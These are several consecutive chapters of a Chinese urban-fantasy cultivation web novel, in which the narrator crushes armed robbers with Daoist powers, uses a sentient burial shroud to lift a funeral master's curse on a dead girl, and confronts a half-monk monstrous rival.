“包养?啥意思?”我不理解。
霍真真睁大眼睛,“真的假的?就是,对我负责,包括钱,所有需求。”
我又问,“真的不用报复吗?这方面我在行。”
霍真真在我鼻子上刮了一下,“不用,傻瓜。”
昆市有商场,我本想着带霍真真去商场买衣服。但霍真真却摇头,最后带我去了个百货市场。
她要的东西有点多,春夏的短袖,秋冬的衣服,化妆品,女性用品,还有吃饭用的盒饭,喝水用的杯子。
我纳闷,她好歹也是个乐队的主唱,结果连这些东西都没有吗?
但我也没问,她要啥,我就付钱。
等从商场出来,我手里拎着一堆的东西,她则是直接换了一套衣服,然后也拎着一大堆的东西。
“东西买完了,我给你拿钱。”商场附近就有邮局的银行,我也不废话,直接取了三万块,等出来一把就塞给了她。
倒不是我多大方,而是身价几百万,三万块?我觉得并不多。
要知道。
这可是我的女人,钱上面不能马虎。
“你,你**了?”霍真真震惊地盯着我。
“额,要是觉得少,再给你两万。”我面无表情的说道。
说实话,老子有点爽。在我眼里霍真真油盐不进,跟我当初那个性一样。虽然我现在也这样,但眼前的一些事还是能过得去。
她呢?
比我还拽!
我想到黎雅啊!
当初我在山上养猪,一个月才五十,她直接给我扔了十万。没办法,给的太多,个性?有本事的人?
那些都被我抛到脑后。
我在想,当初黎雅用钱砸我,是不是我答应跟她去了之后,心里也是很爽的。
起码,现在我是这种感觉。
“不,不用了,够了,够了,不够等你回东北,我跟你要。”霍真真惊讶,但她并没有一点的贪婪,反而又说,“冯宁,你对钱是没概念吗?你知道这两万,已经能在帝都魔都买房子了?”
我疑惑,“额,买房子咋了,我又没打算去帝都魔都定居?”
霍真真说,“你这个家伙,是真傻还是假傻。帝都和魔都的房价,一定会涨起来的。现在买,那就是再买黄金啊。我都盯着很久了,但因为没钱,所以才想着加入乐队赚钱,你……笨蛋。”
说道最后,霍真真撇了撇嘴,她无语了。
我想了想,转头又进了银行,这次直接取了十万,一把放在她胸前。
霍真真震惊地盯着我,半天都没说话。
我心里暗爽,这女人被我用钱砸迷糊了吧?
虽然这样想,但我很真诚地说道,“十二万,两万你的生活费,没了就给我打电话。这十万算我的投资,你喜欢在哪买房,那就在哪买房。”
霍真真咬着嘴唇,那小模样实在是漂亮,她点了点头,最后把这钱收下了。
她说,“你要了我的身体,你对我负责。我赚的钱,以后都是你的。我也是你的。我喜欢有钱人。”
我忍不住翻白眼,我也喜欢白富美。
从银行这边离开,我准备送霍真真回学校。结果,我发现我们被人盯上了。
七八个人,这大夏天的,其中就几
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个穿着军大衣,我隐约的看到了这几人怀里面揣着家伙事。
那是枪。
应该是双统子**。
八几年那会东北很常见,连我爹当时都有一把。但后来就收上去了。
“你走我前面,别回头。”我小声地跟霍真真交流。
“嗯。”霍真真很聪明,一点就透,从她的眼神中我能看出来,她肯定知道我发现了啥。所以,主动地走到了我前面。
结果,我这边还打算怎么对付这几个人,迎面又突然冲过来六七个人。
我一看。
这不是那个徐杰吗?
“霍真真,你个臭表仔,还真跟这狗东西混在一起了呢?老子被你弄开除了,你倒好,跟他逛街?是不是等一会还要被他艹啊!啊!”徐杰跑了过来,咬牙切齿,那眼神像是要**。
“徐杰,你嘴巴干净点。你要干什么?我报局子了!”霍真真皱了皱眉头,徐杰的这些话,貌似对她不起作用,她死死的盯着对方,毫无惧色。
“**什么?我都被开除了,我能干什么?我当然是**啊。对了,还有他?就是你这个比崽子使了啥邪术,害我被开除的。我现在要当着你的面干她,我要你给我磕头认错!”徐杰满嘴污言秽语,眼珠子都快瞪出来了。
“滚,别逼我弄你。”我声音冰冷,眼下身后那群家伙来者不善。徐杰突然出来搅和,我担心发生变故。
他们**无所谓,但别伤到霍真真,别伤及无辜。
这些人,明显都是从银行那边跟我们一路了,大意了,都说财不外露,这话没毛病。
他们肯定是奔着钱来的。
“艹,你还跟我装上了?今天就是天王老子来了,我也得弄你。我看谁敢拦着我。你真以为你是神仙?有种再给我施妖术我看看?我还不信了!”徐杰咬牙道。
“往前走。进胡同。”眼前就是老胡同,我没搭理徐杰,而是让霍真真先进去,我跟在她身后。
我打算!
把他们都给解决了。
“艹,别跑,臭表仔,你跑不了!走,都给我跟上去!”
……
第一百四十四章这是啥?裹尸布?
徐杰还以为我们要跑呢,指示他找来的六七个人追我们。
等到了胡同,把我们拦住了。
我没让霍真真回头,而是扭头看向了徐杰的身后,我随手把东西放在了地上,朝着他身后说道,“都跟了一路了,哥几个不累吗?出来吧。”
徐杰冷笑,“艹,你特么是疯了吧?你在跟我说话?咋地?我身后有人,你吓唬我啊!”
他话音落下,身后的几个人就围了过来,一个个气势汹汹,眼神凶狠。
这几个人站在徐杰他的人面前,那就是大人跟小孩子的区别。
“艹?你们特么谁啊?怎么地,是来帮他对付我的?哼,我告诉你们,今天谁挡我,我……”
砰!
徐杰的话没等说完,一个穿着军大衣的壮汉,拔出双统子在徐杰的腿上就是一枪。
双统子这玩意是**,打出去的距离不远,但在近处,穿透力极强。
而且一枪两管,二十发钢珠。徐杰那大腿上马上全是窟窿。
这还是对方手下留情了呢,要是在脑袋上来一下,人估计就没了。
人在疼的时候是说不出话来的,徐杰就证明了这一点。他靠在胡同的墙上,捂着那被穿的全是窟窿的大腿,疼得面目狰狞。
刚才他还很嚣张呢,现在直接麻木了,一声不吭。
至于他的那几个狐朋**见到这一幕,吓得四散而逃。
要知道人家是真开枪,谁会拿命找这个麻烦呢?
“小伙子,蛮有钱的嘛,哥几个从燕赵之地来,想去三角洲那边玩玩,没路费了,借点钱花花。不多,那十二万扔给我。”说话人也披着军大衣,云省这边虽然气候清爽,但他看上去倒是很不伦不类,说完,他就把怀里的枪也掏了出来,“搞快点,我真会**的。”
我觉得吧,任何时候都不要说废话。这几人就有点啰嗦了。
我催动道力,双脚猛地一蹬,地面那泥土路被我踩出裂痕。
几个人连点反应都没有,就被我灵犀一指点了穴。七个人,直接一动不动。
“啊啊啊……”拿着双统子的那个老大,震惊地看着我,他应该是练过功,还能发出声音。看样子,被我的手段吓傻了。
砰砰砰!
我丝毫不手软,七个人,一人照着脑子就是一下。下一秒钟,七人都是嘴斜眼歪,成了痴呆。
我这才说道,“把你们弄死,那都便宜你们了。你们得变成痴儿赎罪到死。”
说完,我解开了七人的穴位,他们还想对我动手,但根本连枪都拿不起来,在那‘阿阿阿’的,走路都费劲,看上去很不甘心呢。
随后,我转头看向了倒在血泊中的徐杰,他看上去有点惨,那双统子不止打断了他的腿,还击中了他的裤裆。
眼下他直接成了废人。
“不,不要杀我,对不起啊大哥,能,能送我去医院吗?大哥,我求你了,我不想死。”徐杰已经吓傻了,浑身哆哆嗦嗦,地上的一滩血都是他的,此刻,他的脸色发白。
面对死亡。
还真是没谁能镇定呢。
然而,我并不同情他,我虽然没动手,但是顺嘴撒了把盐说道,“你那玩意已经废了,就算得救了,这辈子也是无机之人。怎么?你想做个太监?”
“啊,我,我废了,我。我废了嘛。我不想,我,我不想死。”徐杰的精神状况已经不正常了,痴痴呆呆的,说话颠三倒四。
我知道,这是我击溃了他的精神支柱,他这辈子完了。
我拎起了地上的东西,朝着霍真真走了过去,然后挽着她的胳膊送她回学校。
路上,霍真真很紧张,她虽然听话没回头,但那**也很吓人。她问我,“徐杰会死吗?”
很显然,她知道徐杰中枪了,我说,“应该不会,但做不成男人了。那一枪废了他的腿,也废了他做男人的希望。”
之后,霍真真没在聊过啥。但在晚上,她主动去酒店找我,疯狂了一夜之后,转头就回了东北。
说实话,我还是觉得在老家舒服。没别的,吃着我爹我娘做的饭,衣服有人洗,炕头有人烧火,然后过着日晒三竿的日子。
这才是我认为的好生活。
在这期间,我把我家院子的砖挖了几块,露出了里面的黑土地。
这倒不是我没事闲的,而是小人参要求的,它说它的住在地里面。于是,它就这样地在我家院子安家了。
小人参很喜欢这地方,说土质很舒服,养
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分足,它说以后就是东北人参了。
我哭笑不得。
而更让我惊奇的,小人参跟我家欢欢能玩一起去,我经常看到它骑在欢欢身上,一人参一狗去大地里撒欢。
时不时的还能带回点稀奇古怪东西。
没办法,只能提醒他们不能被其他人给发现了,要不然会有麻烦。
再说从灵泉下带回来的那些东西,原本我没太当回事,但我研究了后发现,这些东西也都不简单。
先说飞针吧,一开始我觉得它可能是医疗用的,但我仔细看了之后发现,这些针很细,确实符合医疗针的特点,但结果我在针上面看到了道教铭文。
而我看到过一本专门研究古道教飞针的文献资料,脑中反复比对发现,这玩意就是道教的独门飞针没错。
然后我又想到了从灵泉下带回来的那本隔空取物,在我研究了之后发现,这东西是一本‘御器仙法’,结果嘛就是仙法跟这针是搭配的。
以道力御针。
我真就给它练成了。
而且越来越丝滑,一针甩出去,能击中三十米左右的目标。
在这之前,哪怕我实力突飞猛进,我也只能简单地把一米左右的东西吸附过来,还不灵活。
现如今呢?这感觉很爽,我总算有点能拿得出手的东西了。
咋说呢,这感觉才像是个修道的嘛。
于是,我也有点飘了,我想着能不能像电视剧里面那样御剑飞行。
试了很多次。
显然不行。
再说那白布吧,这玩意有个五米左右,捆在一起。回来之后那股臭味还在。
我研究它研究得最久,结果就是,没研究明白。连一点的资料都没有。
正当我觉得无望的时候,我二姐回来了,说是我二姐夫家那的堂妹**。
原本吧这事就够闹心的了。
结果,堂妹死之后,二姐夫家里闹腾个不停,以至于到现在堂妹都没有下葬。
二姐二姐夫,都是实心眼,对我也好。所以我就答应去看看。
我这刚要动身,那白布突然缠住了我的脚,那意思是想我带它去?
我惊奇了?
我突然恍然大悟,这玩意?不会是裹尸布吧?
……
第一百四十五章害人的阴阳师傅(加更求票)
我越看越觉得像裹尸布。
我纳闷?它要跟着我过去干嘛?把二姐夫的堂妹尸体裹起来?
那能有啥作用?
但眼下二姐催得急,我想了想还是拿着兜子把它装起来拎着走了。
二姐夫的堂妹家在北安县,这地方别的不出名,精神病院全国数一数二的。
堂妹家在东边,紧挨着国道。我跟着二姐一进门就看到了满脸愁容的二姐夫,他站在人群后面,点了一支烟,情绪不太好。
“冯宁来了。”二姐走了过去扒拉他,二姐夫回过神,眼睛里总算有了点光彩,他急忙朝我走了过来,跟我打了声招呼。
我点了点头回应,但此刻,我的注意力都在灵堂上。
十几个人,有的我也见过,都是二姐夫的亲属。但是,他们绝大部分都没有哭丧,反而是愁得不行。
而二姐夫堂妹的尸体就放在院子地板上,尸体都有些臭了也不下葬。
大家一个个表情严肃,似乎在等着啥。
来的路上,二姐说了下情况。说是堂妹死得很突然,上午人还好好的,下午就在巷口发现了她的尸体。
验过伤,全身上下都好好的,法医说她是突发恶疾死的。
得知这消息,家里如晴天霹雳,全都赶了过来。结果,但凡来过葬礼的人,这几天家里就没消停过。
几个大伯家的鸡鸭鹅一夜间全**。
有一个直系的表哥还摔断了腿。
二姐二姐夫最近也是不顺。
二姐好好的服装生意,被顾客刁难,又是赔钱又是道歉的。二姐夫前些天还从高空摔了下来,好在是命大,摔在了草甸上没事。
因为去了一趟葬礼,一大堆不好的事发生。弄得大家不得安宁。
我低头想了想,按理来说,一个人**,有怨气,但也掀不起多大的浪花。顶多是谁碰到这怨气,生一场病,怨气消散了也就好了。
至于堂妹变成聻或者希,这就更不可能了,那些强大的家伙,不是说变就变的。
但从二姐的描述上来看,家里人被折腾,应该跟她有莫大的关系。
“冯宁,能有办法吗?你姐怀孕了,我是真的怕了,万一出点啥事,我这辈子都不能原谅自己。”二姐夫老实道。
“额。”我愣了愣,二姐也就比我大几岁,二姐二姐夫一直没孩子,得知这个消息,我才发现,在二姐的肚子里,果然有新生命的气息。
来的路上,我都没注意到。
本来,我也不知道该怎么回答二姐夫,但袋子里的白布似乎动了动。
它虽然不会说话,但我却能感受到它的想法,它想我用它裹住那尸体。
“放心吧二姐夫,我能处理。”感受到白布的想法,我也确定了,它能解决这个问题。
随后,我跟二姐夫说,“二姐夫,你得帮我个忙,让大家都撤了,我来处理一下尸体。这事就能解决。”
这白布太妖了,我总不能直接让它露出来,妖里妖气的在把人吓到。所以,第一件事,那就是把人散开,我自己在这处理。
“啊……”二姐夫却愣了一下,小声说,“冯宁,不行啊,堂妹家这的阴阳师傅,说不让碰尸体。”
我奇怪,“父送子,长辈不吊唁,父母回避,不穿白衣,同辈代父母丧礼。头七入土为安。不应该是这个流程吗?哪有不让碰尸体的?亲人也不行吗?”
二姐夫,“这,这我也不清楚。我听大伯说,这个白事的阴阳师傅是从哈城找来的,是个老师傅呢。说是经过他手的丧事,家里都平平安安的。所以大伯这边,他说啥都听着。”
我说,“二姐夫,要是平平安安的,那你们就不用找我来了。白事上,死者为大,但也没有说不碰尸体的说法,迟迟不下葬,其中肯定有其他的事。阴阳师傅有问题。”
二姐夫愣了愣,“冯宁,你是说,这些怪事,都是阴阳师傅挑起来的?”
“应该就是了。”我沉思,又问,“二姐夫,你们有没有得罪他?”
二姐夫摇头,“没有啊,那阴阳师傅我见过,七十多岁,有个小徒弟。来这有些天了,大伯都好生招待的。”
我摇头,“不可能,你们不得罪他,他会在这晒尸?”
晒尸。
就是把尸体晾在那不管不问。
这是对尸体的大不敬。
到这里,我觉得他们一家子倒霉,应该都跟晒尸有关系。
又或者说,那阴阳
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师傅背后搞鬼,故意利用‘晒尸’的事搞他们。
二姐夫低着头,也没想到为啥。
倒是我二姐,突然说,“冯宁,我听你姐夫大伯说,他们一开始把人请过来,说是给一千。但葬礼办了一半,阴阳师傅突然要加钱,说是小徒弟也要给五百。但大伯他们没给这个钱,你看,能不能是这种事?”
我看了二姐一眼,面无表情道,“那就是了。五百块,折腾你们。”
我又看向二姐夫,“二姐夫,你跟大伯说吧,这事我接手了。让他们先散吧。”
二姐夫点了点头,最后还是信得过我,他进了屋,找到了他大伯大娘说了情况。
得知是我来了,大伯大娘也是急忙的出来。白发人送黑发人,他们见我就哭。
还说什么早知道找我算一算,娃也不会出事啥的。但在我眼里,这些都是马后炮。人都**,说那些有啥用。
得知我要动女儿尸体,大伯大娘有点犹豫。但最后还是点了点头。
大伯说,“冯宁,要是换谁,我都不让他碰娃,那阴阳师傅跟我说了,我女儿啊,命薄,所以才闹出这么多事。他得给我女儿做一场法事,让她安安静静的走,不在折腾了。”
我皱了皱眉头,这些说辞,我觉得跟印堂发黑没啥区别呢。
随后我想到了啥,问道,“法事的话,要钱不?”
大伯说,“要,挺便宜的,才两千块。哎,冯宁啊,只要这丫头快点走,快点投胎,别说两千了,五千,五千我也花,我借钱也花。别折腾了。”
我深吸一口气,看来我想的没错了,这哪里是死去女儿在折腾,这明明就是那阴阳师傅因为五百块在整他们。
真特么有点过分了。
都说死者为大,他们却不让死者安分。
“嗯,知道了。大伯,你们回屋吧,其他人也都散了吧。我来处理。”
我这话刚说完,大家也都准备散了。结果突然走进来两人,其中一个穿着中山装的老头,用鼻孔看我,冷哼道,“哼,哪来的小崽子,也敢跟我抢饭吃?老马啊,我把话放这,你女儿尸体谁也不准碰。碰了,就要出事。让他滚,别在这碍眼!”
……
第一百四十六章斗法(四更求月票)
别看老头一把年纪,但面色红润,走路沉稳,说起话来嗓音洪亮。
他这一出现,院子里的人都有些惧怕,下意识地往后躲。
不用谁说了。
这两人应该就是那阴阳先生师徒了。
“这,老师傅……”二姐夫的大伯大娘都有些为难。
我嘛。
心里有点不爽。
这老头在这倚老卖老地呵斥我?
但我不着急,反而想看看他到底要干嘛。顺便替大伯解围,“大伯,那就先让这阴阳人来吧。我不急。”
听了我的话,大家都看向了我,他们大部分人都不认识我。小声的窃窃私语,说什么我这不是骂人嘛,就不怕被阴阳师傅报复啥的?
然而,我直接无视了,要是怕被他报复?那我这两年白混了。
“哼,黄口小儿,伶牙俐齿。”老头面向很凶,说话那架势,好像看谁都是孙子,都能训斥两句。
而这些人貌似不反感,反而很听话,一个个敬重老头。
我惊讶了,这是啥套路?被骂的?被训斥的?反而更尊敬了?
以往,我一直用的都是看事的那些说辞,因为感觉方便。
但这老头的出现,我灵光一闪,觉得他这套路更好用。咋说呢,我之前去过医院,看到过医生呵斥病人,呵斥病人家属。
而因为他是医生,有社会身份,所以那些病人,病人家属,不管多大岁数,训斥起来就跟爷爷训孙子似的。
我觉得应该就是这个效果。
以后,我得装大师了。
阴阳师傅应该不知道我在想啥,见我没说话,撇了撇嘴,朝着尸体那走了过去。
我回过神,看向了他,这老头在尸体四周转了转,然后那徒弟拉了把椅子,他坐在了尸体旁。
之后,那徒弟在他面前插香,在两侧点了蜡烛,还把一沓的纸钱放在地上,用黄铜摇铃给扣上了。
“拜,你们都过来拜!”那徒弟约莫二十来岁,也穿了一身的中山装,他这突然来的一嗓子,把大家都吓了一跳。
然后我就看到,这些人鬼使神差地就要去跪拜。
我二姐,二姐夫也挪动脚步,面无表情地要过去。
嗯?
我皱了皱眉头。
什么情况?
不是要给**做法吗?结果让人去拜他?
我催动道力,心中默念清心咒,然后念了个‘道’字。
原本打算跪过去的人,突然都停下来脚步,面面相觑。
“你们,怎么不拜?”那徒弟还没发现异常呢,而是冷冰冰的语气。
大家也不知道说啥,我主动开口,“拜啥啊?拜你们啊?还是拜死者?”
眼下,我已经察觉到了哪里不对。香有问题。
至于他们这套流程要做啥,那我不知道。但我心里已经打定了主意,跟他们斗法。
“这……”小徒弟有点慌了,急忙看向阴阳师傅。
姜还是老的辣,阴阳师傅一点都不露怯,反而呵斥我,“我让你们拜就拜,我在救你们,哪来的废话。”
闻言,几个腿软的已经跪下了。我二姐拉着我,“冯宁,咋办啊。”
我二姐夫也看着我。
我冷哼,“咋办,当然是不跪了。”
我二姐点了点头,拉着我的衣角,看上去有点害怕。
“啥?你敢不拜?我师傅在请神,帮你们渡过难关呢?你大不敬,会被厄运缠身,不得好死!”那小徒弟嘴黑道。
我冷笑,“我祖师爷连神佛都不拜,拜你们?我在想,你们真是阴阳师傅吗?怎么说起话来,如此恶毒?”
“你。”小徒弟被我怼得哑口无言。
“哼,你真是找死呢。我咒你厄运缠身,百病折磨,你,还有你们,都一样。”老头突然说道。
说完,老头死死地盯着我,那满眼的怨气,透着一股狠辣。
紧接着,我看到尸体上冒出了黑气,然后朝着四周散了过来,要没入到大家的身体里。
言出法随?
我愣了一下。
这些黑气是尸气,要是进了人的身体,那还真是厄运缠身,百病折磨呢。
我眯眼,这老家伙果然不是啥好东西。
我运转道力,打算散掉这些怨气,结果,我拎着袋子中的白布发出了声音。
滋溜滋溜的。
我看了其他人,他们显然听不到这声音,再然后,那些散开的黑气,化成一溜黑烟往袋子里钻了进去。
哦……
接着,那白布发出了声音,有点像电视里太监在抽**享受的调调。
“咋回事?”老头扑棱一下
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站了起来,额头上全是冷汗,他死死盯着我。
“老东西,咋了?你不是诅咒我嘛?不起作用了?”我眯眼冷笑。
但我没有掉以轻心,这老头有些本事的,虽然是邪魔歪道,可那是‘言出法随’,能到这一步,他已经不是普通人了。
“你是道家。”他眯眼道。
我没说话,老家伙更沉默了,他貌似很忌讳道家。
随后,他看向了二姐夫大伯说道,“算你们走运,认识道家之人。原本,我是想折腾你们一个月的,我要钱,你们敢不给,大不敬。但这次算了。”
二姐夫大伯愣了愣,“啥,是你,您折腾我们。”
原本二姐夫大伯很生气,但看到那老头凶狠眼睛,又憋了回去。
“是又怎样?我徒弟也要钱的。”说完,老头又看向我,“小道士,都说阴九门一家,道门在其中,也不再其中。在其中第一,不在其中也第一。但我行走江湖六十载,早已有了术士之风骨,却没见过几个道门高人。我这葬经学来的采阴阵,你破得了吗?”
老头朝我走了过来,一双浑浊的双眼兴奋地盯着我。
“老东西,你应该踏马地庆幸没有害人。”什么阴九门,什么术士,这些玩意我不太清楚。
但我这话也不是放空话,这人虽然凶狠,但那是因为常年跟**打交道形成的狠劲。他虽然找人麻烦,但并没有害人。
但凡我姐我姐夫出了大事,那就另当别论了。
我弄死过人,但有一个原则,小来小去的事,罪不至死的事,惩罚一下就行了。
要是涉及我家里人,涉及我的利益,或是我嗅到他们做过伤天害理的事。
得死。
“你大胆。”那徒弟指着我的鼻子,却被老头制止了。
我也没说话,拎着白布走了过去。在到二姐夫表妹尸体身边后,那白布就已经躁动了。
我尝试跟它沟通,示意它不要有任何举动,我会操作它把尸体裹住。
果然,它老实了。我也松了口气,早知道能沟通,那倒是不用让人散去了。
而它也真没让我失望。
我也知道了。
它真就是裹尸布。
但不是普通的裹尸布,而是一个死去帝王的裹尸布。
……
第一百四十七章家里出事(第五更,求票啦)
随着靠近二姐夫表妹的尸体,那尸臭味越来越浓,怨气也跟着重了起来。
我朝着她看去,因为停放了有些时间了,又是大夏天的,尸体里的尸油覆盖在身上,那张脸有点像蜡像似的,有了点模糊的迹象。
我面色平静,但心里有点不好受。这姑娘我见过,小时候见过,十四五那会也见过她。挺善良的姑娘,人也很热情,还给我买过吃的呢。
结果再次见面,她已经成了一具尸体,还被人晒尸。
我拿出了白布,慢慢地盖在了她的身上,最后又看了她一眼,脸也都盖上了。
说实话,我觉得自己之所以觉得不好受,不是因为她长相,也不是因为她善不善良,而是因为年纪。
花一样的年纪,却在盛夏凋零,真的很可惜。
嗡嗡嗡。
白布有了动静,它在收缩,但动作很慢,其他人看不到。
那样子有点像是千足虫捕捉到了猎物,然后千足死死的裹紧,把猎物牢牢地吸附。
我看到,随着白布的收紧,那一股股怨气被它吸了个干净,连那尸臭的味道都没了。
等到白布突然放松,一切就结束了。
“这……你真的给破了?”那阴阳师傅忍不住惊呼。
闻言,我也纳闷,他说的啥葬经采阴阵,我根本没看到。
这就给破了?
当然,也算是误打误撞吧。见白布没了动静,我就给它收起来了。
“道长,是老头子我眼拙了,我们走。”阴阳师傅拉了一把徒弟,像是怕我找他麻烦,所以直接跑了。
我也没拦着。
正想着跟我二姐打个招呼呢。
结果我总觉得身后有东西,我朝着尸体看了过去,从尸体身上多出了一道人影,缓缓的站了起来。
她看着尸体,又看着我,朝我鞠了一躬,随后扭头走进了墙里面,消失不见了。
接着,我突然觉得身体里有着一股暖流,血液仿佛得到了滋养。
阴德?
我想到了啥,我差点忘了,自己是阴间阳差。这是阴德的力量?
“冯宁,咋样了?”我二姐问我。
“没事了,可以下葬了。”我说。
“啊,快快,大家帮忙,入棺,下葬。”有人喊了一嗓子,一群人都上前帮忙。
那架势有点奇怪,生怕自己接不上手似的。
处理完这事,天都有些黑了,我本来没打算留下,但耐不住二姐夫大伯一家人的热情,又是给我杀鸡又是炖鹅的。
酒桌上,二姐夫大伯大娘一直哭个没完,但我该吃吃该喝喝,吃完就下桌。然后,在这院子附近走走。
二姐跟出来了,二姐,“弟,谢谢了。”
我一把拉过我二姐的手,我笑着说道,“二姐,你这是啥话。哎,我突然想到了小时候,我因为皮总挨揍,你就拉着我买糖果吃。真甜啊。”
我这人冷漠,但有时候又很性情。我是最后看到二姐夫堂妹走的人,我的情绪有点复杂的。
这要是一个陌生人,或许不会有那种情感吧。
“哼,给你这个。”二姐从兜里掏出了一块橘色包装的糖果塞在我手里,脸上有些笑意,但更多的是一种悲伤。
二姐这人,虽然年纪也不大,但总带着一些性情在里面。
“小淘气糖。”我有些惊讶,我小时候很喜欢吃这个糖。但随着我醒来的这两年,却一次都没有买过。
所以有点小惊喜。
“你是我带大的,我还不知道你喜欢啥嘛。弟,姐,没能力,还得让你帮我。姐……”二姐咬了咬嘴唇,她眼眶有些发红。
“打住。”我把小淘气的皮撕了,把糖塞进了嘴里。
真甜。
是那时候的味道。
我二姐白了我一眼,然后说,“弟,马欣,能入土为安嘛?”
马欣,也就是二姐夫的堂妹。
我点头,“能。她已经走了。”
提到马欣,我朝着院子墙上看了过去,我很确定,她走了。
另外,我也有些生气,因为我大致知道是咋回事了。
那对阴阳先生师徒俩,因为二姐夫大伯没给那五百块,他们把马欣的魂魄锁住,不让她投胎。还布下那阵法,吸她的尸气,然后利用这些尸气,害她家人。
按照我们东北话来说,那就是损到家了。
“那就好,那就好。挺好个姑娘,哎,哎,不说了,不说了。”我二姐说着眼睛就红了,然后往屋里面走。
看
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得我也是心里不得劲儿。
性情了。
整个晚上,我也没回屋里面。拎着裹尸布,在他家房顶研究了一宿。
本来,我以为这玩意会说话,但我发现没那事,它只是在吃那些黑气的时候,才会发出我能听到的声音。
但我们能沟通,我能感受到它的微弱意念,它能听懂我的话。
意念中我得知,它曾给一位战死的帝王裹尸,因为吸收了那帝王的皇气,所以开了智。再后来,他被人炼成了魔器。
而随着时间的推移,它落在了一个女子的手中,被那女子炼成火红色,成了红绫,也成了那女人的杀器。
之后,随着那女人落入灵泉之中,它跟着沉寂了一百多年,直到被我发现。
对此我很惊讶,我想着能不能挖掘更多的信息,但它太弱了,弱到跟我沟通都费劲。这还是吸了黑气的原因,能跟我简单的沟通,要不然,它就一直沉睡着。
所以这就解释了一件事,为啥我研究它那么久,都不知道它是个啥的原因了。
它很虚弱,虚弱到没办法沟通。
收好了裹尸布,我坐在房顶上闭眼,整整修炼了一宿。
直到第二天一早,听到我二姐夫叫我,我这才在这吃了早饭,然后就回了黑城。
“汪汪汪。”二姐二姐夫忙,他们有事就没回家。等我这一回来,欢欢朝我狂叫,似乎在表达啥。
“家里出事了?”我皱了皱眉头,隐约地有些不安。
“汪汪。”欢欢用力地点头,但又摇了摇头。
我没听进去,因为我想到了一个人,那就是张坤,我急忙冲进了家,看到大哥大嫂爹妈都在吃饭呢。
我松了口气。
“老大,老大。”随后,我听到小人参在叫我,我转头看过去,这家伙蹲在门槛角,朝我招手。
我吓了一跳,虽然家里人都知道我邪门,但要是让他们看到人参成精,那还得了?
我急忙又出去,一把拎着它,“不是跟你说了嘛,不要暴露。”
小人参却委屈道,“老大,急事,有怪物来咱家。昨晚我跟大欢欢,差点被他给吃了。那玩意很邪,身上有佛性,还有邪性,他是来**的。”
……
第一百四十八章这是张坤?
听到小人参的描述,我心有余悸道,“有佛性?还有邪性?来咱们家**?难道不是张坤?”
小人参摇头,“老大,我不知道他是谁,但我能感觉到,他昨晚就是奔着大爹大妈来的。还好我跟欢欢发现了他,我俩合力,这才把他赶跑。”
我面色阴沉,到底是个啥东西,跑我家来要杀我爹妈?
“汪汪汪。”欢欢朝我叫唤。
我大致听懂了它的意思,我说,“欢欢,你能找到他?”
欢欢点头。
我说,“走,带路,一定要找到他。”
对于我爹我娘的事,我不可能去赌,眼下我必须找到这人。然后,弄死他。
在欢欢的带领下,我们一路来到了二十里开外。这地方是个有着四五户零零散散的村子,我记得这里,小时候跟我哥他们来过几次。
这叫寡妇村,村里面早年遭受一场大火,把人都给烧没了。小时候,我哥他们喜欢四处探险,经常来。
“汪汪。”欢欢撇了其中一户泥坯房,因为常年没人居住,那房子像是要倒了似的。
“在里面?”我问。
欢欢点了点头。
“你们俩守着点,别让他跑了,我进去看看。”说完,我一个箭步冲了过去。
但在靠近房子之后,我不想打草惊蛇,所以行动慢了些。
果然,等我靠近门的位置,我听到了动静,里面似乎有两个人在说话,一个声音在劝道,“施主,我佛慈悲,不得杀生。”
另一个人却咆哮,“啊啊啊,我现在人不人鬼不鬼的,都是那个冯宁害的。我要杀了他,我要杀了他全家。”
张坤。
没错,我绝对没有听错,这个咆哮的声音是张坤。
但另一个人是谁呢?
我不得而知。
咯吱。
我打开了门,发出了声音。
“谁!”
我听到了张坤突然怒喝,然后我见到了他本人,我愣住了。
我有些不可置信地盯着他。
此刻的张坤,一半身子干瘦,赤铜色,就跟腊肉似的,另一半的身子散发着恶臭,留着绿脓。再说他的脑袋,一半是秃头,上面还有结疤。另一半,则是张坤的那张脸,长头发,疯疯癫癫的。
他看向我,那左边和尚脸在微笑,右边的张坤脸恶狠狠地盯着我。一半慈悲,一半凶狠。
这比容城的那尸王,还要恐怖。
“是你!是你!臭道士,你还活着!”张坤的喉咙含糊不清,但有着两种声音,一个温和,一个沙哑。
“倒是你呢,居然还没死,变成了这副鬼样子。”见到是张坤,我虽然警惕,但我整个人都放松了下来。
他要是躲在暗处,找不到人,那我才睡不着呢。如今找到了他,这是一件好事。
天大的好事。
“哈哈哈,冯大师,我这不都是你害的嘛。老天有眼,你没死在那龙渊之下,我能亲手报仇了!”张坤的脸似笑非笑,看上去很魔性,面目狰狞。
随后,我想起了什么,我眯眼道,“你最终还是得到了那古僧的金身?”
张坤朝我摊手,“你很聪明,没错,我融了那古僧的金身。虽然只融了一半,但如今的我,已经是传说中筑基期的强者了。甚至,我已经触摸到了筑基期之上的境界,金丹期。我是,仙!我是仙!”
张坤看上去有些癫狂,说话颠三倒四,他手舞足蹈的,眼眶湿润,根本不像是个人。
筑基期之上是金丹期吗?
对于这种事,我其实很模糊的。因为资料我看了很多,有的说没有金丹期,直接是化作元婴。有的说有金丹期,那是修仙之人和凡人的一个分水岭。
但具体,没有准确的说明。
哪怕随着我的实力提升,方士的记忆也在逐渐地被揭开。但关于境界的事,就像是被什么东西刻意隐藏了。
根本没有一个绝对的说法。
所以我觉得,这应该是天道的一部分,需要去自悟,就像现在的张坤,他触摸到了,就恍然大悟了。
也像陈皮,到了某个阶段,自然有人去指点。
但我还是觉得,这个事有点啥说法,说不准就是我祖师爷故意搞的鬼,不想让我知道所谓的境界。
“仙?你也
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配?”我眯了眯眼睛,我在张坤的身上确实感受到了危险的气息。
我很庆幸,欢欢和小人参能对付他,要不然,昨晚可能就出大事了。
“你说什么!”听了我的话,原本狂暴的张坤,突然死死地瞪着我。
但没等我说话,张坤又说道,“得饶人处且饶人,施主,你不该如此恨意。”
接着张坤左右摆动着脑袋,浑身像是抽筋了似的,表情痛苦,“该死的秃驴,你给我闭嘴啊。我要杀他,我要杀他全家证道。对,我要杀了他,杀他全家!”
张坤癫狂,突然一拳朝我脑袋轰了过来。跟上一次较量相比,如今的张坤出拳速度极快,拳风都有绞杀之气。
他直接想杀了我。
然而,张坤的拳头,在我眼里根本没有威胁,我都没有动,他的拳头就停在了我的面前。
愿力罩子,直接给挡了下来。
“不,不可能,我是仙,我是仙啊!”张坤表情震惊,抬起拳头又轰了过来。
这一拳!
比刚才的还要狂暴。
里面有佛气,又带着真气,连我都有些惊讶了。他还真成了修真者?还是魔道双修?
这次。
